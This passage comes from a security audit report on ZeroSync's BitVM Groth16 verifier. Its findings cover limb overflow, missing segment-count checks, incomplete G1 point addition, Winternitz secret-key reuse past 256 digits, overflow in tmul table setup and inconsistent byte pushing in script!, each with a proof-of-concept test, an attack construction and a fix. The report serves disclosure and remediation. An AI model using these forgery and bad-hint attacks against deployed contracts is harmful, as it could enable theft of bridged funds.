fn u254_boundary_script(should_fail: bool) -> crate::treepp::Script {
    let bytes_per_limb = U254::LIMB_SIZE.div_ceil(8);
    let fail_bit = should_fail as u32;
    script! {
        for i in 0..U254::N_LIMBS {
            for j in 0..bytes_per_limb {
                { (1 << ((if i == 0 { U254::HEAD } else { U254::LIMB_SIZE } +
    fail_bit).saturating_sub(8*(bytes_per_limb-j-1)).min(8)))-1 }
            }
        }

        { U254::from_bytes() }
        { 0x003fffff << fail_bit | fail_bit}
        { 0x1fffffff << fail_bit | fail_bit}
        { 0x1fffffff << fail_bit | fail_bit}
        { 0x1fffffff << fail_bit | fail_bit}
        { 0x1fffffff << fail_bit | fail_bit}
        { 0x1fffffff << fail_bit | fail_bit}
```

```
        { 0x1fffffff << fail_bit | fail_bit}
        { 0x1fffffff << fail_bit | fail_bit}
        { 0x1fffffff << fail_bit | fail_bit}
        { U254::equal(0, 1) }
    }
}

#[test]
fn test_u254_from_bytes_boundary_pass() {
    run(u254_boundary_script(false));
}
#[test]
#[should_panic(expected="assertion failed: exec_result.success")]
fn test_u254_from_bytes_boundary_fail() {
    run(u254_boundary_script(true));
}
```

Recommendations

In `BigIntImpl::limb_from_bytes`, verify that the most significant byte does not cause the current limb to exceed $2^{\texttt{LIMB_SIZE}}$. This patch additionally includes a slight optimization of initializing the accumulator to the least significant byte instead of initializing it to zero.

```
// This will be our sum on the stack
OP_0
for i in 0..bytes_per_limb {
OP_DUP
{ if LIMB_SIZE % 8 != 0 && bytes_per_limb == 1 { 1 << (LIMB_SIZE
    % 8) } else { 256 } }
OP_LESSTHAN
OP_VERIFY
for i in 1..bytes_per_limb {
      // Check that the number is a u8
      OP_SWAP
      OP_DUP
    { 256 }
    { if LIMB_SIZE % 8 != 0 && i == bytes_per_limb - 1 { 1 << (
        LIMB_SIZE % 8) } else { 256 } }
      OP_LESSTHAN
      OP_VERIFY
      // lshift
```

In `BigIntImpl::from_bytes`, verify that the most significant limb is less than $2^{\texttt{HEAD}}$:

```
for _ in 0..Self::N_LIMBS {
for i in 0..Self::N_LIMBS {
    OP_FROMALTSTACK
    if i == 0 {
        OP_DUP { Self::HEAD_OFFSET } OP_LESSTHAN OP_VERIFY
    }
}
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `1c8926ff` ↗.

The commit removes the functions affected by this finding.

3.11. Insufficient validation of number of generated segments

Target	chunk::api_compiletime_utils::generate_segments_using_mock_proof		
Category	Coding Mistakes	**Severity**	High
Likelihood	Low	**Impact**	High

Description

The function `generate_segments_using_mock_proof` takes the verifying key as argument, creates a mock proof (that will nearly always be invalid for the verifying key), and calls `groth16_generate_segments` to generate the segments for this verifying key and mock proof.

It assumes that while the mock proof may be an invalid Groth16 proof, it will be well-formed and disallowed edge case values in intermediate computation will be avoided, so that the first disprovable segment will be the final segment, which will be disprovable because the mock proof is invalid. If this assumption holds, then all segments will indeed be generated.

However, should the mock proof happen to (together with the specific verifying key used) cause one of the intermediate values to reach a disallowed value, an earlier segment might be disprovable. Hypothetical bugs could also cause an earlier abort of segment generation than intended. None of these cases would be detected by `generate_segments_using_mock_proof`.

Impact

If not all segments are generated during setup, an operator can publish incorrect assertions without being disprovable. For a given verifying key, the mock proof could be chosen in such a way that the input becomes invalid for some segment (see Discussion point 4.8. ↗ for a general discussion of this type of attack).

For example, one of the operands of the first FoldedFp12Multiply segment is the additive inverse of the proof element c, an element of `Fq6`. For some other value z in `Fq6` that does not depend on c, the segment is disprovable if $1 + (-c) \cdot z \cdot v = 0$. Thus, as long as $z \neq 0$ (and as z depends on the other components of the mock proof, this can be arranged easily), c can be chosen as $c = (z \cdot v)^{-1}$. This would make $-c$ together with z an invalid input for the segment.

Recommendations

Assert in `generate_segments_using_mock_proof` that the number of generated segments is as expected, and panic with an error message otherwise. This will allow catching any potential issue that might cause less than all segments to be generated.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 7280e822 ↗.

3.12. Incomplete handling of G1 point addition

Target	PreMillerHashP		
Category	Coding Mistakes	**Severity**	Critical
Likelihood	Low	**Impact**	Medium

Description

The script of the segment PreMillerHashP computes the sum of the G1 points `gamma_abc_g1[0]` and `a1*gamma_abc_g1[1]`, where `gamma_abc_g1` is part of the verifying key (see section 5. ↗) and `a1` is the single public input. The point `a1*gamma_abc_g1[1]` has been computed by the segments of type MSM and is provided as an input. The point `gamma_abc_g1[0]` is part of the script of PreMillerHashP.

The script for the point addition is generated by the function `bn254::g1::G1Affine::hinted_check_add`. The challenger must provide a line through both points as computational hints. The script validates that the line given by the challenger passes through both points to be added.

We found that the result of this function can be incorrect if both points are nonzero and equal to each other. If both added points are equal, the line must be the tangent at that point for the result to be correct. While the generated computational hints are correct for the tangent line, the script does not enforce this restriction.

Additionally, we found that hint generation fails if both points are nonzero and add up to zero.

Impact

Whether this issue occurs depends only on the verifying key and the public inputs.

If the operator is forced to create a proof for public inputs where `T == Q` occurs, the correct assertions made by the operator would be disprovable because the challenger could invoke the addition script hinting a different line from the tangent.

Generating such a public input would require finding a linear relation between the (current, at the time of writing) two elements of `gamma_abc_g1` of the verifying key, which is (currently) unlikely, but becomes more likely with an increasing number of public inputs. The likelihood depends on the circuit from which the verifying key is derived; see Finding 3.13. ↗.

If the operator creates a proof for public inputs where `T == -Q` occurs, the operator assertion for the addition result in that step can be incorrect without it being disprovable, because a challenger is unable to execute the addition tapscript if the line through the added points is vertical. Analogous to the `T == Q`, the conditions of this occurring depend on the circuit.

If additional public inputs were allowed, this issue would also impact the segments of type MSM, which also make use of the function `bn254::g1::G1Affine::hinted_check_add`.

Recommendations

Modify the `hinted_check_add` script to handle the cases `T == Q` and `T == -Q`.

Check if `T == -Q`, and if it is the case, return the point zero. This change requires subsequent segments to allow zero as input; see Finding 3.13. ↗ for the necessary changes.

If `T == Q`, check that the hinted line is tangent to the curve.

Remediation

This issue has been acknowledged by ZeroSync.

3.13. Impossible to generate valid proof for certain public input

Target	PreMillerPrecomputePFromHash, MillerPointOpsStep1		
Category	Soundness	**Severity**	Critical
Likelihood	Low	**Impact**	Medium

Description

Using the notation from section 5. ↗, let $S := \sum_{i=0}^{l} a_i \cdot [(\beta \cdot u_i(x) + \alpha \cdot v_i(x) + w_i(x))/\gamma]_1$. If the quadratic constraint system only depends on $A \cdot a_0 - a_1$ instead of a_0 and a_1 independently for some `A`, then using the value `A` for the public value a_1 will cause `S` to be zero.

We found that no valid proof can be created for this public input.

The value of `S` is the input to the segment PreMillerPrecomputePFromHash. The value zero is considered an invalid input. Thus, for this public input and any valid proof in the Groth16 sense, the segment will be disprovable. The operator cannot avoid this invalid value by choosing new random parameters in the proof generation.

Impact

For the specific public input mentioned above, the operator cannot generate assertions for a valid proof. Therefore, the operator either fails to publish any assertions or the operator publishes assertions that the challenger can disprove.

Recommendations

Because the operator cannot avoid this invalid value, the point infinity must be valid input for the segment PreMillerPrecomputePFromHash. The result of the PreMillerPrecomputePFromHash is an `Fq` pair. The segment must have an `Fq`-pair `R` as a result for the point infinity as input.

The segment MillerPointOpsStep1 is the only segment that uses this result. It uses this value to compute the evaluation of a line function on `S`. Its result for the value `R` must evaluate the line function at the point infinity.

The current implementation of MillerPointOpsStep1 would calculate the correct value if the result of PreMillerPrecomputePFromHash for point at infinity was the pair `(0,0)`.

Remediation

This issue has been acknowledged by ZeroSync.

3.14. Winternitz key expansion only secure up to length 256

Target	signatures::winternitz::digit_signature		
Category	Cryptography	**Severity**	Critical
Likelihood	Low	**Impact**	Medium

Description

This finding is about the implementation of the Winternitz one-time signature scheme. For an introduction, see section 4.1. ↗.

The way we describe it in section 4.1. ↗, the signer's secret key consists of byte vectors x_i of length 20 for each index $0 \leq i < n$. In practice, these x_i are not generated independently and stored as such but expanded from a seed secret key. Key expansion happens in the functions used to create digit-wise signatures, `sign_digits` and `digit_signature` in bitvm/src/signatures/winternitz.rs:

```
fn sign_digits(ps: &Parameters, secret_key: &SecretKey, message_digits:
    Vec<u32>) -> Witness {
    let digits = add_message_checksum(ps, message_digits);
    let mut result = Witness::new();
    for i in 0..ps.total_digit_len() {
        let sig = digit_signature(secret_key, i, digits[i as usize]);
        // FIXME: Do trailing zeroes violate Bitcoin Script's minimum data push
    requirement?
        //        Maybe the script! macro removes the zeroes.
        //        There is a 1/256 chance that a signature contains a trailing
    zero.
        result.push(sig);
        result.push(u32_to_le_bytes_minimal(digits[i as usize]));
    }
    result
}

pub fn digit_signature(secret_key: &SecretKey, digit_index: u32,
    message_digit: u32) -> HashOut {
    let mut secret_i = secret_key.clone();
    secret_i.push(digit_index as u8);
    let mut hash = hash160::Hash::hash(&secret_i);
    for _ in 0..message_digit {
        hash = hash160::Hash::hash(&hash[..]);
    }
    *hash.as_byte_array()
}
```

As seen here (note in particular the typecast `digit_index as u8`), the secret-key component x_i is expanded from the secret-key seed u as $x_i = \texttt{hash160}(u \| [i \% 256])$.

This implies that x_i will be equal to x_j whenever i and j have the same remainder modulo 256.

Impact

Reuse of secret-key components breaks the security proof of Winternitz one-time signatures. Indeed, signatures created with the current code are insecure if the total number of digits of the message including the checksum is bigger than 256.

To illustrate why, consider the example of a message to be signed where the number of message digits excluding the checksum is $n_0 = 256$. Including checksum, the digits to be signed will be $(m_0, \ldots m_{255}, c_0, \ldots, c_{n_1 - 1})$. Suppose as an example that $m_0 = 0$. Then the signature for the very first digit will be $\sigma_0 = \texttt{hash160}^{(0)}(x_0) = x_0$, thus leaking x_0. Recall that for index i, we denote the corresponding public key component by y_i. Given x_0, an attacker can now produce a valid digit-wise signature matching the public key y_0 for any digit m'_0, not just $m_0 = 0$ (in general, not assuming $m_0 = 0$, they can do so for any $m'_0 \geq m_0$).

This is a general feature of the digit-wise Winternitz signatures. The reason this is not a vulnerability for the Winternitz signature scheme is due to the usage of the checksum digits: using forged signatures for individual digits where the forged signature increases the digit value compared to the legitimate value forces the attacker to forge a signature for a digit that is smaller than the legitimate one in order to pass the checksum verification, and this is something that they cannot as easily do.

However, in our case, the public key y_{256} is equal to y_0. Thus, the signature component σ_0 leaks information to the attacker that they can also use to forge a signature for the otherwise unrelated digit c_0 (in our case with $n_0 = 256$). In particular, if the message were zero, so $m_0 = \cdots m_{255} = 0$, then the signature would leak all components of the private key, as $x_{256} = x_0, x_{257} = x_1$, and so on. The attacker can thus forge arbitrary digit-wise signatures for each digit, including for the checksum, and like this, they can create a valid signature for an arbitrary message.

While the case of all message digits being zero is an extreme case where things are easiest for the attacker, it should be clear that any reuse of componentwise secret keys where the digits signed with this secret key were not all equal allows the attacker flexibility in forging signatures.

In-scope usage of Winternitz signatures uses only 36 or 68 secret-key components, so no reuse occurs, and this finding is not applicable. However, there appear to be no checks preventing usage of the Winternitz signature code with vulnerable parameters and no documentation of the requirement not to use it with lengths above 256.

Recommendations

Instead of casting the `digit_index` to a `u8` and appending this single byte to `secret_i`, we recommend to apply a bijection from `u32` to `[u8;4]`, such as `to_le_bytes`; and extend `secret_i` by the resulting four bytes. This will prevent secret-key reuse and thereby make the Winternitz signing

implementation secure also for longer messages.

Alternatively, if total lengths in terms of digits above 256 are not needed and `digit_signature` is not modified, then it should be checked in the code that the total digit length does not exceed 256. In particular, `Parameters::new` should check that `message_digit_len + checksum_digit_len <= 256`.

Note that there are also other restrictions on the total length, for example the function `checksum` as well as `Parameters::new` itself require that $d \cdot n_0 < 2^{32}$. In the notation of `Parameters::new`, this would be a check `(2^{log2_base} - 1) * message_digit_len < 2^{32}`. We recommend adding such a check or a stricter check for a reasonable upper bound of supported message lengths.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit bedbbac9 ↗.

3.15. The `init_table` script in `tmul` does not check for overflow on doubling

Target	bn254::fq::fp_lc_mul		
Category	Coding Mistakes	**Severity**	High
Likelihood	Low	**Impact**	Medium

Description

This finding is about the `tmul` function implemented in bitvm/src/bn254/fq.rs. We refer to Findings 3.22. ↗ and 3.23. ↗ for more details about `tmul` in general.

The particular part of `tmul` that this finding is about is the `init_table` function, in particular its application to $-q$. The purpose of the function is to place the values $-2 \cdot q, \cdots - (2^w - 1) \cdot q$ on the stack (where w is the window size used).

It is important that overflows are prevented; if a signed overflow would happen, the script should fail instead. For more about this, see Finding 3.23. ↗.

However, `init_table` does not ensure this. It is implemented as follows:

```
fn init_table(window: u32) -> Script {
    assert!(
        (1..=6).contains(&window),
        "expected 1<=window<=6; got window={}",
        window
    );
    script! {
        for i in 2..=window {
            for j in 1 << (i - 1)..1 << i {
                if j % 2 == 0 {
                    { T::double_allow_overflow_keep_element( (j/2 - 1) *
    T::N_LIMBS ) }
                } else {
                    { T::add_ref_with_top(j - 2) }
                }
            }
        }
    }
}
```

As the name suggests, `double_allow_overflow_keep_element` does allow overflows. It is thus possible for certain values of `q` to obtain tables containing incorrect values due to overflows, without the script failing.

This can be verified by running a test as follows. Note that this test should be run after fixing Finding 3.7. ↗, as otherwise the bug described in that finding will be triggered, causing the script to fail.

```
#[test]
fn test_zellic_init_table() {
    type T = BigIntImpl<258, 29>;
    let z: BigInt = (BigInt::one() << (T::N_BITS-1)) + (BigInt::one()
    << (T::N_BITS-2)) - BigInt::one();
    let window = 3;
    let script = script! {
        { T::push_u32_le(&bigint_to_u32_limbs(z.clone(), T::N_BITS)) }

                        for i in 2..=window {
                            for j in 1 << (i - 1)..1 << i {
                                if j % 2 == 0 {
                                    { T::double_allow_overflow_keep_element(
    (j/2 - 1) * T::N_LIMBS ) }
                                } else {
                                    { T::add_ref_with_top(j - 2) }
                                }
                            }
                        }
                    };
    let res = execute_script(script);
    assert!(res.success);
}
```

This will fail at the end as there are still elements on the stack (namely the generated table), as expected. The values are as follows:

```
next_op: None
        stack: Stack([StrRef(RefCell { value: [255, 255, 255, 2] }),
    StrRef(RefCell { value: [255, 255, 255, 31] }), StrRef(RefCell { value:
    [255, 255, 255, 31] }), StrRef(RefCell { value: [255, 255, 255, 31] }),
    StrRef(RefCell { value: [255, 255, 255, 31] }), StrRef(RefCell { value:
    [255, 255, 255, 31] }), StrRef(RefCell { value: [255, 255, 255, 31] }),
    StrRef(RefCell { value: [255, 255, 255, 31] }), StrRef(RefCell { value:
    [255, 255, 255, 31] }), Num(33554431), Num(536870911), Num(536870911),
    Num(536870911), Num(536870911), Num(536870911), Num(536870911),
    Num(536870911), Num(536870910), Num(16777215), Num(536870911),
    Num(536870911), Num(536870911), Num(536870911), Num(536870911),
    Num(536870911), Num(536870911), Num(536870909), Num(67108863),
    Num(536870911), Num(536870911), Num(536870911), Num(536870911),
    Num(536870911), Num(536870911), Num(536870911), Num(536870908),
    Num(50331647), Num(536870911), Num(536870911), Num(536870911),
    Num(536870911), Num(536870911), Num(536870911), Num(536870911),
```

```
    Num(536870907), Num(33554431), Num(536870911), Num(536870911),
    Num(536870911), Num(536870911), Num(536870911), Num(536870911),
    Num(536870911), Num(536870906), Num(16777215), Num(536870911),
    Num(536870911), Num(536870911), Num(536870911), Num(536870911),
    Num(536870911), Num(536870911), Num(536870905)])
        altstack: Stack([])
```

Cleaning this up, note that each bigint here has 258 bits, split in nine limbs where all but the least significant one has 29 bits, with the most significant having 26 bits. These bigints are interpreted as signed using two's complement. The table is thus as follows, first written as limbs, then the numerical value:

Intended entry	Limbs	Value derived from limbs
z	$\left(2^{25}+2^{24}-1, 2^{29}-1, \ldots, 2^{29}-1, 2^{29}-1\right)$	$-2^{256}-1$
$2 \cdot z$	$\left(2^{25}-1, 2^{29}-1, \ldots, 2^{29}-1, 2^{29}-2\right)$	$2^{257}-2$
$3 \cdot z$	$\left(2^{24}-1, 2^{29}-1, \ldots, 2^{29}-1, 2^{29}-3\right)$	$2^{256}-3$
$4 \cdot z$	$\left(2^{26}-1, 2^{29}-1, \ldots, 2^{29}-1, 2^{29}-4\right)$	-4
$5 \cdot z$	$\left(2^{25}+2^{24}-1, 2^{29}-1, \ldots, 2^{29}-1, 2^{29}-5\right)$	$-2^{256}-5$
$6 \cdot z$	$\left(2^{25}-1, 2^{29}-1, \ldots, 2^{29}-1, 2^{29}-6\right)$	$2^{257}-6$
$7 \cdot z$	$\left(2^{24}-1, 2^{29}-1, \ldots, 2^{29}-1, 2^{29}-7\right)$	$2^{256}-7$

It is clear from this that, except for the original table entry for z itself, the entries pushed by the `init_table` script are incorrect due to arithmetic underflows and overflows.

Impact

For legitimate values of q, such overflows are not possible. However, if a challenger can find a value for the hint q such that an overflow happens in `init_table`, but without the `tmul` script failing due to an overflow later, then they will be able to make `tmul` produce incorrect results, thereby illegitimately being able to disprove the operator's assertion. See also Finding 3.4. ↗ for this kind of impact.

To describe one example, suppose that the prime modulus of the field were of the form $p = \sum_{i=0}^{253} p_i \cdot 2^i$ such that $p_0 = 1, p_1 = 0, p_2 = 0$, and $p_i = 0$ for all $i > 2$ that are not congruent to 2 modulo 3 (primes of this form exist, for example 257). Furthermore, suppose the top bit that is set in `p` is the `2^{251}` bit. Suppose `tmul` is used with only a single summand with a positive sign, with a window size of three. In that case, the bigint type `T` used for computation in `tmul` will be 258 bits

wide. Using $q = 2^{256} + 1$, the table generated by `init_table` will be as above.

Due to the shape of p, all contributions in the computation performed by `tmul` to $-q \cdot p$ from windows of p except the lowest one will then be -4 (shifted accordingly), and the remaining contribution is $-2^{256} - 1$. Note that if $p_{3 \cdot k+2} = 1$, then the corresponding contribution in the final result will be $-4 \cdot 2^{3 \cdot k} = -2^{3 \cdot k+2}$. Thus, the total contribution to $x \cdot y - q \cdot p$ from $-q \cdot p$ as computed by the script will thus be $-(p-1) - 2^{256} - 1 = -p - 2^{256}$.

Now let a and b be such that $p + 2^{256} = a \cdot 2^{200} + b$ with $0 \leq b < 2^{200}$.

Then consider the invocation of `tmul` with factors to multiply $x = a + 1$ and $y = 2^{200}$, and with q as already discussed. Note first that $0 \leq a, b < p$ and that $x \cdot y = (a+1) \cdot 2^{200} = 2^{200} - b + p + 2^{256} < 2^{257}$, so the computation of $x \cdot y$ itself does not overflow in `T`. The `tmul` script will then compute $x \cdot y - q \cdot p$ with incorrect result $2^{200} - b + p + 2^{256} - \left(p + 2^{256}\right) = 2^{200} - b$. This will generally not be the correct result of x times y modulo p.

This is thus an example where an attacker could utilize an incorrect hint q to obtain incorrect results.

In practice, it may be difficult for an attacker to find a q with this property given the prime modulus of `Fq`. In the actual prime, the distribution of bits makes it significantly harder to construct examples where `tmul` will not fail while computing an incorrect result due to the discussed bug in `init_table`. It may be that this is impossible for many given pairs (x, y). However, we cannot rule out that inputs (q, x, y) could be found even for `tmul` with the usual prime that exploits this bug to produce incorrect results.

Recommendations

The call to `T::double_allow_overflow_keep_element` in `init_table` should be replaced by a call that fails should an overflow happen.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit e950ed4a ↗, in which the call to `T::double_allow_overflow_keep_element` is replaced by a call to a new function `T::double_prevent_overflow_keep_element` that, as the name suggests, prevents the overflow.

3.16. Inconsistent conversion of `Vec<u8>` and `Witness` to `StructuredScript`

Target	rust-bitcoin-script		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

The rust-bitcoin-script implements the `script!` macro that allows a convenient way to create Bitcoin scripts (type `StructuredScript` in Rust). One feature of the macro is to push values given as Rust values. For example, the following script would push the numeric value `-42`:

```
script!{
    { -42i32 }
}
```

Note that the macro causes the actual numeric value `-42` to be pushed, not merely for example its byte representation. The way Bitcoin script encodes integers is taken into account (for example, negative values are encoded with a sign bit only rather than two's complement).

In the implementation, conversion from various Rust types is handled by implementing the `NotU8Pushable` trait. For example, this is the implementation for `i32` (see src/builder.rs in rust-bitcoin-script):

```
impl NotU8Pushable for i32 {
    fn bitcoin_script_push(self, builder: StructuredScript) ->
    StructuredScript {
        builder.push_int(self as i64)
    }
}
```

This finding concerns the `NotU8Pushable` implementation for two types that store byte vectors, `Vec<u8>` and `Witness`, in which cases the implementation carries out the conversion in an inconsistent manner.

Behavior for `Vec<u8>`

For `Vec<u8>`, the implementation is as follows:

```
impl NotU8Pushable for Vec<u8> {
    fn bitcoin_script_push(self, builder: StructuredScript) ->
    StructuredScript {
```

```
        // Push the element with a minimal opcode if it is a single number.
        if self.len() == 1 {
            builder.push_int(self[0].into())
        } else {
            builder.push_slice(PushBytesBuf::try_from(self.to_vec()).unwrap())
        }
    }
}
```

This treats byte vectors differently depending on their length. For lengths unequal to one, the script will be extended with an instruction that will push precisely the given byte vector to the stack.

Instead, for length one, the *number* of the single byte is pushed to the stack. Note that, due to Bitcoin's integer encoding, this means that if the byte vector was `[x]`, then

- if `x = 0`, the byte vector pushed to the stack will be `[]`.
- if `0 < x < 128`, the byte vector pushed to the stack will be `[x]`.
- if `x >= 128`, the byte vector pushed to the stack will be `[x, 0]`.

The reason for the extra zero in the case of `x >= 128` is because the top bit of the last byte is interpreted as the sign bit when decoding byte vectors on the stack as integers. Thus, if the integer `x` is to be pushed instead of the byte vector `[x]`, it is correct to push the byte vector `[x, 0]`.

In particular, for byte vectors `[x]` with `x >= 128` or `x = 0`, a *different* byte vector will be pushed to the stack than the original one.

Behavior for `Witness`

The `Witness` type is intended to help create SegWit witnesses. These are essentially vectors of byte vectors (so `Vec<Vec<u8>>`), but they are stored in a serialized format as specified in BIP141, for use in SegWit witnesses.

One can push additional byte vectors to a `Witness`. Indexing into a `Witness` or calling `len()` on it, it acts as if it were a `Vec<Vec<u8>>`.

While we have not tested this, we strongly suspect that the serialized SegWit witness obtainable using `Witness` will cause precisely the byte vectors that were pushed to the `Witness` to be pushed to the stack, exactly as they are as byte vectors, with no further conversion.

In rust-bitcoin-script, the file src/builder.rs contains an implementation of `NotU8Pushable` for `Witness`, which makes it possible to use `Witness` in the `script!` macro:

```
impl NotU8Pushable for Witness {
    fn bitcoin_script_push(self, mut builder: StructuredScript) ->
    StructuredScript {
        for element in self.into_iter() {
            // Push the element with a minimal opcode if it is a single number.
            if element.len() == 1 {
```

```
                builder = builder.push_int(element[0].into());
            } else {
                builder =
    builder.push_slice(PushBytesBuf::try_from(element.to_vec()).unwrap());
            }
        }
        builder
    }
}
```

Note that this exhibits the exact same behavior as the implemenation for `Vec<u8>` for each of the `Vec<u8>` stored in `Witness`.

Inconsistency of the behavior depending on the length

One could in principle imagine two possible behaviors of `bitcoin_script_push` for `Vec<u8>` and the `Vec<u8>` stored in a `Witness`:

1. The byte vector is decoded as a little-endian unsigned integer. The script should push those integers as numeric values, which sometimes necessitates appending an extra zero due to the different integer encoding used.
2. The byte vector is to be pushed as is to the stack.

Note that byte vectors such as `[x, y]` with `y >= 128` would, if the function followed behavior 1, also need a zero appended; this, however, is not what happens in the current implementations. The current implementations for both types follows 1 for byte vectors of length one and 2 otherwise, and are thus internally inconsistent (and quite unintuitive).

Code to test the behavior

The following test can be used to check how `Witness` is converted to `StructuredScript`:

```
#[test]
fn zellic_test_witness_numeric() {
    let mut w = Witness::new();
    w.push([0u8, 129u8]);
    println!("len : {:?}", w[0].len());
    let mut x : [u8;3] = [42; 3];
    x[0..w[0].len()].copy_from_slice(&w[0]);
    println!("{:?}", x);
    let scr = script! {
        { w }
        { 256*129 }
        OP_EQUAL
```

```
    };
    run(scr);
}
```

This particular test fails, because the length-two byte vector `[0u8, 129u8]` is pushed as is, which is not an encoding of the number `256*129`, which would be encoded as `[0u8, 129u8, 0u8]`. Modifying the test to use `[129u8]` and `1*129` instead makes it succeed, because, due to the special casing discussed, `[129u8]` is pushed as `[129u8, 0u8]`. Similarly, changing `129` to `127` in both occurrences makes the test succeed as well.

Impact

Conversion of both `Vec<u8>` and `Witness` to `StructuredScript` using the `script!` macro will behave in an inconsistent and unintuitive way, depending on the length of the byte vectors.

The function should instead consistently follow either behavior, 1 or 2, described above.

This leaves the question of which of the two is the correct behavior.

For `Vec<u8>`, the clear choice appears to be behavior 2, pushing the vector as is to the stack. Note in particular that both with the current implementation and if `Vec<u8>` were to follow behavior 1, we are not aware of a straightforward way to use `script!` to push the byte vector `[128]` to the stack. This is because the current implementations do not allow any length-one byte vector to be pushed as is, and `[128]` is not a valid encoding for any numeric value (it would be negative zero, but zero will be encoded as `[]` instead).

With regards to `Witness`, the following two should result in the same stack:

- Start with a `Witness`. Use its serialization in a SegWit witness, and consider the stack state created by it.
- Start with the same `Witness`. Convert it to a `StructuredScript` using the above function. Run the script and consider the stack state created by it.

We strongly suspect that the former will end up with a stack state consistent with variant 2 above. Thus, the `NotU8Pushable` implementation for `Witness` should be fixed by removing the special case for length 1, and always use `push_slice` to push the byte vector as is.

We are not aware of any usage of the conversion in in-scope code that behaves incorrectly due to the current implementation. However, we only became aware of this behavior towards the end of the audit, and thus may have assumed that in particular the behavior for `Vec<u8>` follows behavior 2 also for length one. Some code utilizing `Witness` relies on the current behavior.

Recommendations

We recommend to change the implementation of `NotU8Pushable` for `Vec<u8>` and `Witness` to push the byte vectors as is, by removing the special casing for length one.

We also recommend to review usage of the conversion from `Vec<u8>` and `Witness` to `StructuredScript` to ensure that all usage is correct with regards to the new behavior.

In particular, several functions in bitvm/src/signatures/, at the time of writing, rely on the current inconsistent behavior in converting `Witness`. Care should be taken to refactor the affected code or adjust it to still function correctly. See also Finding 3.20. ↗.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 88edfe19 ↗ by changing the implementation of `NotU8Pushable` for `Vec<u8>` and `Witness` so as to push the byte vectors as is. See also Finding 3.20. ↗ for related changes to bitvm/src/signatures/

3.17. Result depends on computational hint in line-function evaluation

Target	bn254::g2::hinted_ell_by_constant_affine_and_sparse_mul		
Category	Soundness	**Severity**	High
Likelihood	Medium	**Impact**	Medium

Description

The role of computational hints, as described in Finding 3.4. ↗, is to serve as untrusted inputs that ease the computation. An incorrect hint may lead to a failed transaction, but in a success case, the result of the script execution must not depend on the provided hint value.

The script generated by the function `bn254::g2::hinted_ell_by_constant_affine_and_sparse_mul` evaluates a line function by computing the expression $1 + w \cdot x \cdot c_1 + w^3 \cdot y \cdot c_2$, where `w` is a field constant, `x` and `y` are coordinates, and c_1 and c_2 define the line of the line function.

The script reads the coordinate inputs `x` and `y` from the top of the stack. The values c_1 and c_2 defining the line, however, are read as hints from the bottom of the stack. Despite being computational hints, these values are used as regular inputs of the function on which the result depends in an essential way. The result cannot be verified without these inputs, making them unsuitable to be provided as computational hints.

Impact

An attacker can provide incorrect values to let the expression evaluate to an arbitrary attacker-chosen value. The expression is intended to be used as a factor in the computation of the pairing; thus, the attacker can critically change the evaluation of the pairing.

The function is currently not used within the scope.

Recommendations

Use arguments on top of the stack instead of hints to provide the necessary values, and adjust any callers correspondingly to compute or validate these values.

Alternatively, if this function is not needed anymore, remove it to prevent unsafe usage.

Remediation

This issue has been acknowledged by ZeroSync.

3.18. Accumulated value, `is_valid_input`, and hints returned by `chunk_msm` are incorrect for public inputs of mixed validity

Target	chunk::taps_msm::chunk_msm		
Category	Coding Mistakes	**Severity**	High
Likelihood	N/A	**Impact**	Low

Description

The `chunk_msm` function produces scripts and associated information for a chunked computation of a multiscalar product of the form $\sum_{i=0}^{\texttt{NUM_PUBS}-1} \texttt{input_ks}[i] \cdot \texttt{qs}[i]$, where $\texttt{input_ks}[i]$ is a scalar and $\texttt{qs}[i]$ a point on $G1$. We call a scalar `input_ks[i]` valid if it is smaller than the prime `r`; otherwise, it is invalid. With K a constant that indicates the number of segments necessary to process each scalar, the number of scripts returned is $K \cdot \texttt{NUM_PUBS}$.

The script with index $K \cdot i + j$ (with $i < \texttt{NUM_PUBS}$ and $j < K$) can be described as follows. It expects that the scalar $\texttt{input_ks}[i]$ is at the top of the alt stack and that if $K \cdot i + j > 0$, the previous accumulator A is on the top of the stack (which will be an element of $G1$ or a mock point $(1, 0)$ as explained below). It will remove the scalar from the alt stack and push a new accumulator B as well as a bit `is_valid_input` to the stack.

The bit `is_valid_input` indicates whether or not $\texttt{input_ks}[i]$ is valid. It will be `1` if and only if $\texttt{input_ks}[i] < r$ and otherwise zero.

The new accumulator B will be the mock point $(1, 0)$ if the scalar was invalid and otherwise obtained by adding A (or the zero point for the very first script, which does not have a previous accumulator) to a multiple of $\texttt{qs}[i]$ corresponding to a window of $\texttt{input_ks}[i]$. (The details of the windowing are not relevant for this finding.) If all scalars are valid and each script receives as input the accumulator computed by the previous script, then the new accumulator computed by the last script will be the multiscalar product $\sum_{i=0}^{\texttt{NUM_PUBS}-1} \texttt{input_ks}[i] \cdot \texttt{qs}[i]$.

The vector returned by `chunk_msm` contains at index $K \cdot i + j$ a four-tuple consisting of the new accumulator and boolean `is_valid_input` computed by the script described above, the script itself, and then the intended hints that will be consumed by it on a successful run.

We found that if the argument `input_ks` of the Rust function contains valid and invalid values, then the returned accumulator, boolean `is_valid_input`, and hints will be incorrect for the chunks with valid input.

This behavior arises because the function first checks if *any* scalar is invalid:

```
let scalars_are_valid_elems = input_ks
    .iter()
    .filter(|f| **f < ark_bn254::Fr::MODULUS)
```

```
    .count()
    == num_pubs;
```

Thus, `scalars_are_valid_elems` is `true` if and only if *all* scalars are valid.

It then uses the mock value `1` as the scalar if `scalars_are_valid_elems` is false, even for those segments whose input scalar would be valid:

```
let mut ks = (0..num_pubs)
    .map(|_| ark_ff::BigInt::<4>::from(1u64))
    .collect::<Vec<ark_ff::BigInt<4>>>();
//...
if scalars_are_valid_elems {
    ks = input_ks.clone();
}
```

This leads to incorrect hints being generated for the segments with valid input scalar.

For each segment, the return values are appended to the vector by the following snippet:

```
if scalars_are_valid_elems {
    chunk_scripts.push((chunk.0, scalars_are_valid_elems, sc,
    chunk.2.clone()));
} else {
    chunk_scripts.push((chunk.0, scalars_are_valid_elems, sc, vec![]));
}
```

For segments with valid input scalar, the hints returned will be empty, even though the script actually does consume hints. Furthermore, the `is_valid_input` boolean returned will be `false`, which is inconsistent with the actual value computed by the script.

Impact

